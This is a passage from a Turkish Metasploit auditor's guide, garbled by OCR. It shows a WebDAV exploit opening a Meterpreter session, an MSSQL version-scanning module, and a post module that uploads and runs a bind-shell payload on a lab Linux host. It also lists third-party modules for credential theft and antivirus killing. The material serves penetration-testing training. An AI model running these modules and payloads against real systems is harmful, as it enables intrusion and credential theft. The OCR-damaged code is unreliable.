Deleting /metasploit125617790.asp;.jpg, this doesn't always work...

Deletion failed on /metasploit125617790.asp;.jpg [403 Forbidden]

Sending stage (752128 bytes) to 172.16.100.2

Meterpreter session 3 opened (172.16.100.1:34191 -> 172.16.100.2:5554) at 2012-12-11
3:20:15 +0200

meterpreter >
Microsoft IIS Webdav Write Access Code Execution Modiill Basarili Kullanimi

Goruldagu tzere varolan Exploit'lerin dizenlenmesi veya ufak degisikliklerle yeni bir
Exploit Gretilmesi oldukg¢a kolaydir. Metasploit Framework, Exploit gelistirme igin hazir
protokol kutiphaneleri, neredeyse her farkli tirde Exploit icin calisan Ornekler, ortak
kabuk kodu fonksiyonlari ve kodlayicilar sunmaktadir. Ancak yeni bir guvenlik agidina
Exploit yazilmasi veya varolan bir genel Exploitin aktariimasi, ileri duzey bilgi
gerektirecek farkl bir kitabin konusu olacaktir.
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5.2 Auxiliary Modiil Geligtirme

Metasploit Framework icinde sadece exploit'ler bulunmamaktadir; hedef sistemlerdeki
farkh guvenlik agiklarini istismar eden veya bilgi toplama amagli moduller de vardir.
Denetimin dogasi geregi her denetimde 0zel araclar veya testler yazilmasi
gerekmektedir. Bu tur genel, bilgi toplama veya belirli bir islem igin hazirlanan moduller
yardimci moduller olarak bilinmektedir. Exploit gelistirme igin sunulan bir¢gok 6zellik gibi
yardimci modduller igin de ¢ok sayida protokol kutiphanesi, ek moduller veya
fonksiyonlar bulunmaktadir. Yardimci modulu hazirlamak bu nedenle oldukg¢a kolaydir,
temel olarak ise bir bagka yardimci modul kaynak kodu esas alinabilir.

Hazirlanacak 6rnegimiz varolan “Microsoft SQL Server Ping Utility — mssql_ping’
modull esas alinarak hazirlanacaktir. Modulin yapmasini istegimiz sey ise 12/12/2012
tarihinde, http://www.sqglteam.com/article/sql-server-versions adresinde Bill Graziano
tarafindan yayinlanan Microsoft SQL sunucu surumleri ve yazilim yama seviyesi
tablosunu kullanmasidir. Oncelikle mssql_ping moduli diizenlenecek, tablonun icerigi
bir checkversion isimli bir fonksiyona tasinacak ve Microsoft SQL Server'dan alinacak
instance bilgilerinden edinilen surum bilgisi bu fonksiyon ile sorgulanacaktir.

#H#

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.

# http://metasploit.com/

#H

require 'msf/core’

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote: :MSSQL
include Msf::Auxiliary::Scanner

include Msf::Auxiliary::Report

def initialize

super(
"Name' => 'MSSQL Version Detection Utility',
'Version' = '0.7',
'Description’ => 'This module simply queries the MSSQL Software
Version',
'"Author’ => ['MC', 'Fatih Ozavci'],
'License’ => MSF_LICENSE
)
deregister_options('RPORT', 'RHOST')
end
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Yukarida modulln birinci boliumua gdérinmektedir; icerilecek Metasploit kutliphaneleri,
calismasi igin gerekli olacak tanimlamalar, raporlama modulia ve referanslar yer
almaktadir. Name, Description, Author ve Version bilgilendirme igin hazirlanmis
basliklardir. Yardimci modul ismi, aciklamasi, gelistiricileri, sirumu ve var ise hangi
acigina referans verildigi bu basliklarda belirlenir. Modul birden fazla sisteme karsi
kullanilabilecegi ise RHOST ve RPORT parametreleri kapatiimistir, bu amacla ¢oklu
sistem analizi icin RHOSTS parametresi kullaniimaktadir.

def rport

end

def checkversion(v)
#SQLTeam Tarafindan Hazirlanan SQL Server Surumleri Kullanilmistir
#http://www.sqlteam.com/article/sql-server-versions
sqlversions= {
"11.0.2316"=>"SQL Server 2012 CU1
"11.0.2100.6"=>"SQL Server 2012 RTM7 Mar 2012",
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.
"10.

50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
50.
00.
00.
00.
00.
00.
00.
00.
00.
00.
00.

datastore[ 'RPORT']

12 Apr 2012",

2811"=>"SQL Server 2008 R2 SP1 CU6 16 Apr 2012",
2806"=>"SQL Server 2008 R2 SP1 CU5 22 Feb 2012",
2796"=>"SQL Server 2008 R2 SP1 CU4 9 Jan 2012",

2789.0"=>"SQL Server 2008 R2 SP1 CU3
2772.0"=>"SQL Server 2008 R2 SP1 CU2
2769.0"=>"SQL Server 2008 R2 SP1 CUl

2500.0"=>"SQL Server 2008 R2 SP1
1815"=>"SQL Server 2008 R2 CU13
1810"=>"SQL Server 2008 R2 CU12
1809"=>"SQL Server 2008 R2 CU11

1807.0"=>"SQL
1804.0"=>"SQL
1797.0"=>"SQL
1777.0"=>"SQL
1765.0"=>"SQL
1753.0"=>"SQL
1746.0"=>"SQL
1734.0"=>"SQL
1720.0"=>"SQL
1702.0"=>"SQL
1600.1"=>"SQL

5775"=>"SQL
5770"=>"SQL
5768"=>"SQL
5766"=>"SQL
5500"=>"SQL
4330"=>"SQL
4326"=>"SQL
4323"=>"5QL
4321"=>"SQL
4316"=>"SQL

2008
2008
2008
2008
2008
2008
2008
2008
2008
2008
2008

Server
Server
Server
Server
Server
Server
Server
Server
Server
Server
Server
Server 2008
Server 2008
Server 2008
Server 2008
Server 2008
Server 2008
Server 2008
Server 2008
Server 2008
Server 2008

R2
R2
R2
R2
R2
R2
R2
R2
R2
R2
R2

SP3
SP3
SP3
SP3
SP3
SP2
SP2
SP2
SP2
SP2

11 Jul 2011",
17 Apr 2012",
21 Feb 2012",

9 Jan 2012",
CU1® 19 Oct 2011",
Ccu9 23 Aug 2011",
cus 16 Sep 2011",
cu7 16 Jun 2011",
Ccue 21 Feb 2011",
Ccus 20 Dec 2010",
cu4 18 Oct 2010",
cu3 17 Aug 2010",
Ccu2 25 Jun 2010",
Ccu1 18 May 2010",
RTM 12 Apr 2010",
Cu4 20 Mar 2012",
cus 16 Jan 2012",
Ccu2 22 Nov 2011",
Ccu1l 18 Oct 2011",
6 Oct 2011",
Ccus 19 Mar 2012",
cus 30 Jan 2012",
cu7 21 Nov 2011",
Cue 20 Sep 2011",
CU5s 18 Jul 2011",

17 Oct 2011",
16 Aug 2011",
16 Sep 2011",
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"10.00.4285"=>"SQL Server 2008 SP2 CU4 16 May 2011",
"10.00.4279"=>"SQL Server 2008 SP2 CU3 21 Mar 2011",
"10.00.4272"=>"SQL Server 2008 SP2 CU2 17 Jan 2011",
"10.00.4266"=>"SQL Server 2008 SP2 CU1l 15 Nov 2010",
"10.00.4000"=>"SQL Server 2008 SP2 29 Sep 2010",
"10.00.2850"=>"SQL Server 2008 SP1 CU1l6 19 Sep 2011",
"10.00.2847"=>"SQL Server 2008 SP1 CU15 18 Jul 2011",
"10.00.2816"=>"SQL Server 2008 SP1 CU13 22 Mar 2011",
"10.00.2812"=>"SQL Server 2008 SP1 CU14 16 May 2011",
"10.00.2808"=>"SQL Server 2008 SP1 CU12 17 Jan 2011",
"10.00.2804"=>"SQL Server 2008 SP1 CU11 15 Nov 2010",
"10.00.2799"=>"SQL Server 2008 SP1 CU10 21 Sep 2010",
"10.00.2789"=>"SQL Server 2008 SP1 CU9 19 Jul 2010",
"10.00.2775"=>"SQL Server 2008 SP1 CU8 17 May 2010",
"10.00.2766"=>"SQL Server 2008 SP1 CU7 15 Mar 2010",
"10.00.2757"=>"SQL Server 2008 SP1 CU6 18 Jan 2010",
"10.00.2746"=>"SQL Server 2008 SP1 CU5 24 Nov 2009",
"10.00.2734"=>"SQL Server 2008 SP1 CU4 22 Sep 2009",
"10.00.2723"=>"SQL Server 2008 SP1 CU3 21 Jul 2009",
"10.00.2714"=>"SQL Server 2008 SP1 CU2 18 May 2009",
"10.00.2710"=>"SQL Server 2008 SP1 CU1 16 Apr 2009",
"10.00.2531"=>"SQL Server 2008 SP1 7 Apr 2009",
"10.00.1835"=>"SQL Server 2008 RTM CU10 15 Mar 2010",
"10.00.1828"=>"SQL Server 2008 RTM CU9 18 Jan 2009",
"10.00.1823"=>"SQL Server 2008 RTM CU8 16 Nov 2009",
"10.00.1818"=>"SQL Server 2008 RTM CU7 21 Sep 2009",
"10.00.1812"=>"SQL Server 2008 RTM CU6 21 Jul 2009",
"10.00.1806"=>"SQL Server 2008 RTM CU5 18 May 2009",
"10.00.1798"=>"SQL Server 2008 RTM CU4 17 Mar 2009",
"10.00.1787"=>"SQL Server 2008 RTM CU3 19 Jan 2009",
"10.00.1779"=>"SQL Server 2008 RTM CU2 17 Nov 2008",
"10.00.1763"=>"SQL Server 2008 RTM CU1 22 Sep 2008",
"10.00.1600"=>"SQL Server 2008 RTM 6 Aug 2008",
"9.00.5266"=>"SQL Server 2005 SP4 CU3 21 Mar 2011",
"9.00.5259"=>"SQL Server 2005 SP4 CU2 22 Feb 2011",
"9.00.5254"=>"SQL Server 2005 SP4 CU1 20 Dec 2010",
"9.00.5000"=>"SQL Server 2005 SP4 17 Dec 2010",
"9.00.4325"=>"SQL Server 2005 SP3 CU15 21 Mar 2011",
"9.00.4317"=>"SQL Server 2005 SP3 CU14 21 Feb 2011",
"9.00.4315"=>"SQL Server 2005 SP3 CU13 20 Dec 2010",
"9.00.4311"=>"SQL Server 2005 SP3 CU12 18 Oct 2010",
"9.00.4309"=>"SQL Server 2005 SP3 CU11 17 Aug 2010",
"9.00.4305"=>"SQL Server 2005 SP3 CU10 23 Jun 2010",
"9.00.4294"=>"SQL Server 2005 SP3 CU9 19 Apr 2010",
"9.00.4285"=>"SQL Server 2005 SP3 CU8 16 Feb 2010",
"9.00.4273"=>"SQL Server 2005 SP3 CU7 21 Dec 2009",
"9.00.4266"=>"SQL Server 2005 SP3 CU6 19 Oct 2009",
"9.00.4230"=>"SQL Server 2005 SP3 CU5 17 Aug 2009",
"9.00.4226"=>"SQL Server 2005 SP3 CU4 16 Jun 2009",
"9.00.4220"=>"SQL Server 2005 SP3 CU3 21 Apr 2009",
"9.00.4211"=>"SQL Server 2005 SP3 CU2 17 Feb 2009",
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}
return
end
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"9.00.4207"=>"SQL Server 2005 SP3 CU1 20 Dec 2008",
"9.00.4053"=>"SQL Server 2005 SP3 GDR (Security Update) 13 Oct
"9.00.4035"=>"SQL Server 2005 SP3 16 Dec 2008",
"9.00.3356"=>"SQL Server 2005 SP2 CU17 21 Dec 2009",
"9.00.3355"=>"SQL Server 2005 SP2 CU1l6 19 Oct 2009",
"9.00.3330"=>"SQL Server 2005 SP2 CU15 18 Aug 2009",
"9.00.3328"=>"SQL Server 2005 SP2 CU14 16 Jun 2009",
"9.00.3325"=>"SQL Server 2005 SP2 CU13 21 Apr 2009",
"9.00.3315"=>"SQL Server 2005 SP2 CU12 17 Feb 2009",
"9.00.3310"=>"SQL Server 2005 SP2 Security Update 10 Feb 2009",
"9.00.3301"=>"SQL Server 2005 SP2 CU11 15 Dec 2008",
"9.00.3294"=>"SQL Server 2005 SP2 CU10 20 Oct 2008",
"9.00.3282"=>"SQL Server 2005 SP2 CU9 18 Aug 2008",
"9.00.3257"=>"SQL Server 2005 SP2 CU8 16 Jun 2008",
"9.00.3239"=>"SQL Server 2005 SP2 CU7 14 Apr 2008",
"9.00.3233"=>"SQL Server 2005 QFE Security Hotfix 8 Jul 2008",
"9.00.3228"=>"SQL Server 2005 SP2 CU6 18 Feb 2008",
"9.00.3215"=>"SQL Server 2005 SP2 CU5 17 Dec 2007",
"9.00.3200"=>"SQL Server 2005 SP2 CU4 15 Oct 2007",
"9.00.3186"=>"SQL Server 2005 SP2 CU3 20 Aug 2007",
"9.00.3175"=>"SQL Server 2005 SP2 CU2 28 Jun 2007",
"9.00.3161"=>"SQL Server 2005 SP2 CU1 15 Apr 2007",
"9.00.3152"=>"SQL Server 2005 SP2 Cumulative Hotfix 7 Mar
"9.00.3077"=>"SQL Server 2005 Security Update 10 Feb 2009",
"9.00.3054"=>"SQL Server 2005 KB934458 5 Apr 2007",
"9.00.3042.01"=>"SQL Server 2005 SP2a 5 Mar 2007",
"9.00.3042"=>"SQL Server 2005 SP2 1 Feb 2007",
"9.00.2047"=>"SQL Server 2005 SP1 ",
"9.00.1399"=>"SQL Server 2005 RTM 1 Nov 2005",
"8.00.2039"=>"SQL Server 2000 SP4 ",
"8.00.0760"=>"SQL Server 2000 SP3 ",
"8.00.0534"=>"SQL Server 2000 SP2 ",
"8.00.0384"=>"SQL Server 2000 SP1 ",
"8.00.0194"=>"SQL Server 2000 RTM ",
"7.00.1063"=>"SQL Server 7 SP4 "
"7.00.0961"=>"SQL Server 7 SP3 15 Dec 2000",
"7.00.0842"=>"SQL Server 7 SP2 20 Mar 2000",
"7.00.0699"=>"SQL Server 7 SP1 15 Jul 1999",
"7.00.0623"=>"SQL Server 7 RTM ",
"6.50.416"=>"SQL Server 6.5 SP5a ",
"6.50.415"=>"SQL Server 6.5 SP5 ",
"6.50.281"=>"SQL Server 6.5 SP4 ",
"6.50.258"=>"SQL Server 6.5 SP3 ",
"6.50.240"=>"SQL Server 6.5 SP2 ",
"6.50.213"=>"SQL Server 6.5 SP1 ",
"6.50.201"=>"SQL Server 6.5 RTM "
sqlversions[v]
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Yukaridaki olusturulan fonksiyondan gorulecegi Uzere, tum Microsoft SQL Server
moddulleri bir hash olarak tanimlanmigtir. Strim bilgisi degiskeni verildiginde eglesen
surum igerigi geri dondurulmektedir. Asagida ise varolan kod Uzerinde yapilan degisiklik
ve eklemeler renklendirilmistir. Oncelikle siirim bilgisinin 4 haneli hali checkversions ile
kontrol edilmekte, yoksa 3 bdlmeli hali kontrol edilmektedir. Saptanan bir strim bilgisi
var ise VersionName bilgisi tanimlanmakta ve ekrana ¢ikti basiimaktadir.

def run_host(ip)
begin

info = mssql_ping(2)
#print_status info.inspect
if info and not info.empty?
info.each do |instance]|
if (instance['ServerName'])
print_status("SQL Server information for #{ip}:")
instance.each_pair {|k,v| print_good(" #{k + (" " *
(15-k.length))} = #{v}")}
v=instance[ 'Version']
version=checkversion(v)
if version != nil
print_good(" Version Name = #{version}")
instance[ 'VersionName']=version
else
version=checkversion(v.split(".")[0,3].join("."))
if version != nil
print_good(" Version Name = #{version}")
instance[ 'VersionName' ]=version
else
instance[ 'VersionName']=""
end
end

if instance['tcp']
report_mssql_service(ip,instance)
end
end
end
end

rescue ::Rex::ConnectionError
end
end
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def test_connection(ip,port)
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => 1ip,
'"PeerPort' => port
)
rescue Rex::ConnectionError
return :down

end
sock.close
return :up

end

Raporlama icin ise asagida gorinen dizenleme yapilmis ve VersionName bilgisinin
veritabanina da kaydedilmesi saglanmistir.

def report_mssql_service(ip,info)
mssql_info = "Version: %s, ServerName: %s, InstanceName: %s, Clustered:
%s, VersionName %s" % [

info[ 'Version'],
info['ServerName'],
info['InstanceName'],
info['IsClustered'],
info[ 'VersionName']

]

report_service(
:host => 1p,
rport => 1434,
:name => "mssql-m",
:proto => "udp",
:info => "TCP: #{info['tcp']}, Servername: #{info['ServerName']}"

)
mssql_tcp_state = (test_connection(ip,info['tcp']) == :up ? "open" :
"closed")
report_service(
:host => 1p,
:port => info['tcp'],
:name => "mssql",
:info => mssql_info,
:state => mssql_tcp_state
)
end
end

Microsoft SQL Server i¢in Striim Bilgisini Alan Yardimci Modul Hazirlanmasi
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Yardimci modulin yapmasi beklenen sey; hedef sistem de bir Microsoft SQL Server
varligini saptamak, bulunan Microsoft SQL Server surim bilgisinin var ise ismini de
yazmaktadir. Bu bilgi daha sonraki yapacagimiz exploit islemlerinde veya ileri dizey
saldirilarda bizim igin gerekli olacaktir. Asagida modulin 6rnek galismasi ve giktisi

gorulmektedir.

msf auxiliar

Name:
Module:
Version:
License:
Rank:

Provided by:
MC <mc@meta
Fatih Ozavc

Basic options
Name
PASSWORD

username
RHOSTS

identifier
THREADS
USERNAME
USE_WINDOWS

DOMAIN option

Description:

msf auxiliar
Module option

Name
PASSWORD
username
RHOSTS
identifier
THREADS
USERNAME

y(mssql_version) > info

MSSQL Version Detection Utility
auxiliary/gamasec/mssql_version
0.7

Metasploit Framework License (BSD)
Normal

sploit.com>
i

Current Setting

no
172.16.100.2 yes
1 yes
sa no
_AUTHENT false yes

set)

y(mssql_version) > show options

s (auxiliary/gamasec/mssql_version):

Current Setting Required

no
172.16.100.2 yes
1 yes
sa no
USE_WINDOWS_AUTHENT false yes

(requires DOMAIN option set)

Required Description

The

The

The

The
Use

This module simply queries the MSSQL Software Version

Description

The password for the specified
The target address range or CIDR
The number of concurrent threads

The username to authenticate as
Use windows authentification

password for the specified
target address range or CIDR
number of concurrent threads

username to authenticate as
windows authentification (requires
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[+]
[+]
[+]
[+]
[+]
[+]

msf auxiliary(mssql_version) > run

[*] SQL Server information for 172.16.100.2:

ServerName = GAMASEC-ADC

InstanceName = MSSQLSERVER

IsClustered = No

Version = 9.00.1399.06

tcp = 1433

Version Name = SQL Server 2005 RTM 1 Nov 2005

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Microsoft SQL Server igin Striim Bilgisini Alan Yardimci Modul Kullanimi
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5.3 Post Modiilu Gelistirme

Post modiilleri, Exploit islemi sonrasinda hedef sistem ele gegirildikten sonra kullaniimak
uzere hazirlanmis modullerdir. Yetki yukseltme, olmayan bir 6zelligin eklenmesi, bilgi
toplanmasi veya farkli Payload'larin kullanimi gibi amaclarla hazirlanabilirler. Post
moddulleri bazen oldukga sadece, bazen ise bir yetki ylUkseltme saldirisi veya ardisik
igslemleri icerdigi icin ok karmasgik olabilmektedir.

Ornek olarak hazirlanacak olan Post modiili Linux kabuk erigimlerine ek bir 6zellik
katmak igin gelistirilmigtir. Linux kabuk erigimleri sisteme dosya aktarimina izin
vermemektedir, ancak bir kabuk erisimi oldugu icin istenen girdiler erigsime
yazilabilmektedir. Basit bir dugunceyle; olusturulmasi istenen dosya kabuk erigimine
dogrudan yazarak olusturulabilir. Ornegin “echo deneme > /tmp/dosya” komutu ile
icinde deneme yazan bir /tmp/dosya dosyasi olusturulabilir, ancak ikilik dosyalarda bu
durum sorun yaratacaktir.

Metasploit Framework'lin bu amagla kullaniimak i¢in hazirlanan, write_file fonksiyonu ile
erigilebilecek, _write_file_unix_shell isimli bir Post modullu fonksiyonu vardir. Sorun ise
hedef sistemde gawk uygulamasi yUkli olmadiginda ¢cikmakta ve yukleme basarisizlikla
sonuclanmaktadir.

Her iki durumu tekrar dusundnce; varolan corelpost/file.rb kitiphanesinde degisiklik
yaparak diger modulleri de etkilemek yerine, sadece bu amagla hazirlanmis ve hedef
sisteme dosya yukleyen bir Post modulu faydali olacaktir. Yontem olarak kullanilacak
Base64 kodlamasi ise ikilik dosyalarin da sorunsuz aktarimini saglayacaktir. Ornegin
“echo $baseb64verisi | base64 -d > $hedefdosyaadi” gibi bir komut kullanilarak Base64
ile kodlanmig bir veri icerigi aktarilabilir.

Post modullerinin  yapisi da diger Metasploit modullerinin  yapisina oldukca
benzemektedir; o6nce kullanimi gerekli olabilecek siniflar yuklenmekte, Name,
Description, Author gibi parametreler modul hakkinda bilgi igcermekte ve
register_options ile gcalisma esnasinda gerekli olabilecek parametreler alinmaktadir.
Diger parametreler olan Platform hangi kabuk turlerinde ¢alisabilecedini, SessionTypes
hangi oturum turlerinde galigabilecegini, Arch hangi mimaride galigabilecegini tanimlar.
Tanimlanan register_options secenekleri ise FILENAME yerel dosyanin tam yolu ve
REMOTEPATH hedefte yerlestirilecek tam yoldur.
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require 'msf/core’
require 'msf/core/post/common’
require 'msf/core/post/file’

class Metasploit4 < Msf::Post
include Msf::Post::Common
def initialize(info={})
super( update_info( info, {

"Name' => 'Linux Post Module for File Upload ',
'Description’ => 'Post Module for File Upload',
'License'’ => MSF_LICENSE,
'"Author’ => ['Fatih Ozavci'],
'"Platform’ = [ 'linux' 1],
'"Arch’ => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],

}

)

register_options(
[

OptString.new('FILENAME', [ true, 'File to Upload',
File.join("/","tmp", "filename")]),
OptString.new( 'REMOTEPATH', [ true, 'Full Remote Path of
File', File.join("/","tmp", "filename")])
1, self.class

)

end

Sirada dosyanin aktariimasi igin gerekli komutlarin yazilmasi var ve bu boélimde hazir
fonksiyonlar kullanilarak kolayca bu adim saglanmaktadir. Kullanilacak degiskenler olan
fname ve remotefile kullanici tarafindan atanan bilgiler dogrultusunda tanimlanir. file
degiskenine 10.read fonksiyonu kullanilarak, kullanicidan gelen dosya igerigi
yuklenmektedir. Daha sonra ise Rex::Text.encode_base64 fonksiyonu ile Base64
kodlanip, cmd_exec ile hedefe gonderilmektedir.

def run
fname=datastore["FILENAME"]
remotefile=datastore[ "REMOTEPATH"]
file=10.read(fname)
print_status "Encoding #{fname}"

base64content=Rex::Text.encode_base64(file)

print_status "Writing #{fname} to remote system"

cmd_exec("echo #{base64content} | base64 -d > #{remotefile}")
end

end

Linux Local File Upload Modiili Kaynak Kodu

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri Sayfa 237




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

Post modullni test etmek igin en sik kullanim yontemi tercih edilmistir. Varolan bir Linux
kabuk erigiminin Linux Meterpreter oturumuna donusturtlmesi i¢cin Post modulumaz ile
gonderilecek bir Payload Uretilmigtir. Bodylece hedef sisteme Payload'umuzu
gonderebilecegiz ve galistirarak Meterpreter oturumumuza erisebilecegiz.

msf > use payload/linux/x86/meterpreter/bind_tcp
msf payload(bind_tcp) > show options

Module options (payload/linux/x86/meterpreter/bind_tcp):

Name Current Setting Required Description

DebugOptions 0 no Debugging options for POSIX meterpreter

LPORT 4444 yes The listen port

PrependFork no Add a fork() / exit_group() (for parent)
code

RHOST no The target address

msf payload(bind_tcp) > generate -t elf -f /tmp/exp
[*] Writing 163 bytes to /tmp/exp...

msf payload(bind_tcp) > file /tmp/exp

[*] exec: file /tmp/exp

/tmp/exp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked,
corrupted section header size

Linux Local File Upload Moduli i¢in Payload Hazirlanmasi

Modulin kullanim 6rnegi asagida goértlmektedir; hedef sisteme gdnderilmek Uzere bir
Payload uretilmis ve hazirlanan Post modullu kullanilarak génderilmistir. FILENAME igin
Payload'un yolu, REMOTEPATH igin ise hedef sistemde kullanilacak yol tercih edilmigtir.
Varolan Telnet oturumlarindan 4 nolu oturum da SESSION degiskenine atanmistir.

msf payload(bind_tcp) > use exploit/gamasec/linux_post_local_file_send
msf post(linux_post_local_file_send) > info

Name: Linux Post Module for File Upload
Module: post/gamasec/linux_post_local_file_send
Version: 0
Platform: Linux
Arch: x86
Rank: Normal

Provided by:
Fatih Ozavci
Description:
Post Module for File Upload
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msf post(linux_post_local_file_send) > show options

Module options (post/gamasec/linux_post_local_file_send):

msf post(linux_post_local_file_send) > set FILENAME /tmp/exp
FILENAME => /tmp/exp

REMOTEPATH => /tmp/exp
msf post(linux_post_local_file_send) > sessions

Active sessions

msf post(linux_post_local_file_send) > run

[*] Encoding /tmp/exp
[*] Writing /tmp/exp to remote system
[*] Post module execution completed

Name Current Setting Required Description

FILENAME /tmp/filename yes File to Upload

REMOTEPATH /tmp/filename yes Full Remote Path of File

SESSION yes The session to run this module on.

msf post(linux_post_local_file_send) > set REMOTEPATH /tmp/exp

Id Type Information Connection
4  shell TELNET msfadmin:msfadmin (172.16.100.3:23)
172.16.100.1:36824 -> 172.16.100.3:23 (172.16.100.3)
msf post(linux_post_local_file_send) > set SESSION 4
SESSION => 4
msf post(linux_post_local_file_send) > show options
Module options (post/gamasec/linux_post_local_file_send):
Name Current Setting Required Description
FILENAME /tmp/exp yes File to Upload
REMOTEPATH /tmp/exp yes Full Remote Path of File
SESSION 4 yes The session to run this module on.

Linux Local File Upload Modill Kullanimi

Modul kullanimindan gorulecegi Uzere dosya yukleme basariyla tamamlanmis ve
istenen dosya hedef sisteme gonderilmistir. Sonraki adim ise dosyaya calistirma

haklarinin verilmesi ve galistirimasidir.
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msf post(linux_post_local_file_send) > sessions -i 4
[*] Starting interaction with 4...

< -d > /tmp/exp ;echo xvbhILQvDTIJVGVXUhzTNd1lVtUfygKJu
XvbhILQvDTIJVGVXUhzTNd1VtUfygKJu
msfadmin@metasploitable:~$ chmod +x /tmp/exp

chmod +x /tmp/exp

msfadmin@metasploitable:~$ /tmp/exp &

/tmp/exp &

[1] 4698

msfadmin@metasploitable:~$ ~Z

Background session 4? [y/N] vy

Linux Local File Upload Modiili ile Aktarilan Dosyanin Calistiriimasi

Gorllecegi Uzere gonderilen dosya yerine ulasmistir, bu bilgiyi Telnet komutu
gecmisinden de dogrulayabiliriz. Dosyaya chmod ile ¢alistirma haklarini vererek ve arka
planda calistirarak tekrar Metasploit konsoluna doéndlir. Calistirilan Payload bir iletisim
beklemektedir, secilen parametreler geregi 4444 nolu TCP portunda iletisim igin
Handler'' beklemektedir. Ayni parametreler ile hazirlanan ve Payload olarak ayni
Payload turu secilmis bir Handler ile ilgili hedefe baglanilabilir.

msf post(linux_post_local_file_send) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/bind_tcp
PAYLOAD => linux/x86/meterpreter/bind_tcp

msf exploit(handler) > show options

Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (linux/x86/meterpreter/bind_tcp):

Name Current Setting Required Description

DebugOptions 0 no Debugging options for POSIX meterpreter
LPORT 4444 yes The listen port

PrependFork no Add a fork() / exit_group() (for parent) code
RHOST no The target address

Exploit target:
Id Name

® Wildcard Target
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msf exploit(handler) > set RHOST 172.16.100.3
RHOST => 172.16.100.3

msf exploit(handler) > exploit

[*] Started bind handler

[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Starting the payload handler...
[*] Sending stage (1126400 bytes) to 172.16.100.3
[*]
1

*

*

Meterpreter session 5 opened (172.16.100.1:37743 -> 172.16.100.3:4444) at 2012-12-11
5:43:15 +0200

meterpreter > sysinfo

Computer : metasploitable

0S : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
(1686)

Architecture : 1686

Meterpreter : x86/linux

Linux Local File Upload Modiili ile Génderilen Payload ile Oturum Kurulmasi

Gorilecegi Uzere basit komutlar ile bir Post moduli hazirlamak mamkuandar, Metasploit
Framework icindeki bircok Post moduli bu tdr basit iceriklerden olusmaktadir. Bir
dosyanin alinmasi ve igeriginin denetlenmesi, Registry'den veri ¢ekilerek
karsilastiriimasi veya kaydedilmesi gibi ornekler genellikle basit orneklerdir.

Hazirlanan Post modulunu genel bir amag yerine daha 6zel bir amag igin de hazirlamak
mumkuanduar; 6rnegin yaptigimiz islemi tek basina yapacak bir Post moduli de
hazirlanabilir.  client.framework.payloads.create("linux/x86/meterpreter/bind_tcp")
fonksiyonu kullanilarak istenen Payload olusturulabilir, génderim islemi moduldeki gibi
yapilabilir, cmd_exec ile calistirma haklari veriimesi ve calistiriimasi saglanabilir,
sonrasinda ise client.framework.exploits.create("multi/handler") fonksiyonu ile
istenen Handler baslatilabilir. Ancak bdyle bir modulu okuyucularin pratik yapmak adina
hazirlamasi daha faydali olacaktir.
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6 Bagimsiz Ek Modaullerin ve Exploit'lerin Kullanimi

6.1 Q Projesi ve Ek Modiiller

Q projesi, Metasploit Framework geligtiricilerinin lisans veya kod uygunlugu sebebiyle
projeye dahil etmedigi kodlar i¢in olusturulmus bir projedir. Hazirlanan ama yeterince test
edilmemis moduller, kiigik araclar ve lisans farklihgi iceren moduller bu projede yer
almaktadir. Github'da bulunan deposu araciligiyla tim moduller indirilebilir, duzenli takip
edilebilir ve Metasploit Framework ile beraber kullanilabilir.

Her modul kendi kullanim gorevi ve igerigine sahip oldugu icin tek tek modullerin
kullanimina  deginilmeyecektir. lgili modiller Metasploit Framework dizini igine
kopyalanarak dogrudan kullanilabilir. Uriin ortami testlerinde ve hassas sistem
analizlerin mecbur kalmadik¢a bu moddullerin kullanilmamasi o6nerilmektedir. Egder
kullanilacaksa modiillerin bir incelemeden gegiriimesinde fayda vardir.

Q Projesi Anasayfasi

https://github.com/mubix/q

Q Projesinin Guincel Modulleri

scripts/listdrives.rb

scripts/runon_netview.rb

scripts/getsessions.rb
scripts/virusscan_bypass8_8.rb
scripts/loggedon.rb

scripts/ie_hashgrab.rb

scripts/cache_bomb.rb

scripts/getdomains.rb
modules/post/windows/q/winlocalprv_esc.rb
modules/post/windows/q/openvpn_profiles_jack.rb
modules/post/windows/q/stickynotes-jacker.rb
modules/post/windows/q/unpriv_wmic.rb
modules/post/windows/q/keepass_jacker.rb
modules/post/1linux/q/passwd-shadow-ssh-jacker-meterpreter.rb
modules/post/1linux/q/passwd-shadow-ssh-jacker-shell.rb
modules/post/unstable/exec_powershell.rb
modules/post/unstable/enum_lsa.rb
modules/post/unstable/openvpn_profiles_jack.rb
modules/post/unstable/enum_users.rb
modules/post/unstable/kill_by_name.rb
modules/post/unstable/unpriv_wmic.rb
modules/post/unstable/keepass_jacker.rb
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modules/post/unstable/killmcafee.rb
modules/auxiliary/capture/mdns_collector.rb
modules/auxiliary/capture/hsrp.rb
modules/auxiliary/http/vhost_finder.rb
modules/auxiliary/gather/netcrafting.rb
modules/auxiliary/gather/ripecon.rb
modules/auxiliary/hp/hp_laserjet_scanner.rb
modules/auxiliary/hp/hp_laserjet_enum_fs.rb
modules/auxiliary/hp/hp_laserjet_download.rb
modules/auxiliary/hp/snmp_enum_hp_laserjet.rb
modules/auxiliary/hp/hp_laserjet_ready_msg.rb
modules/auxiliary/bruteforce/eap_md5_dict.rb
modules/auxiliary/securestate/owa_login.rb
modules/auxiliary/securestate/proxy_config.rb
modules/auxiliary/securestate/cdp.rb
modules/auxiliary/sap/sap_rfc_dbmcli_sxpg_command_exec.rb
modules/auxiliary/sap/sap_rfc_read_table.rb
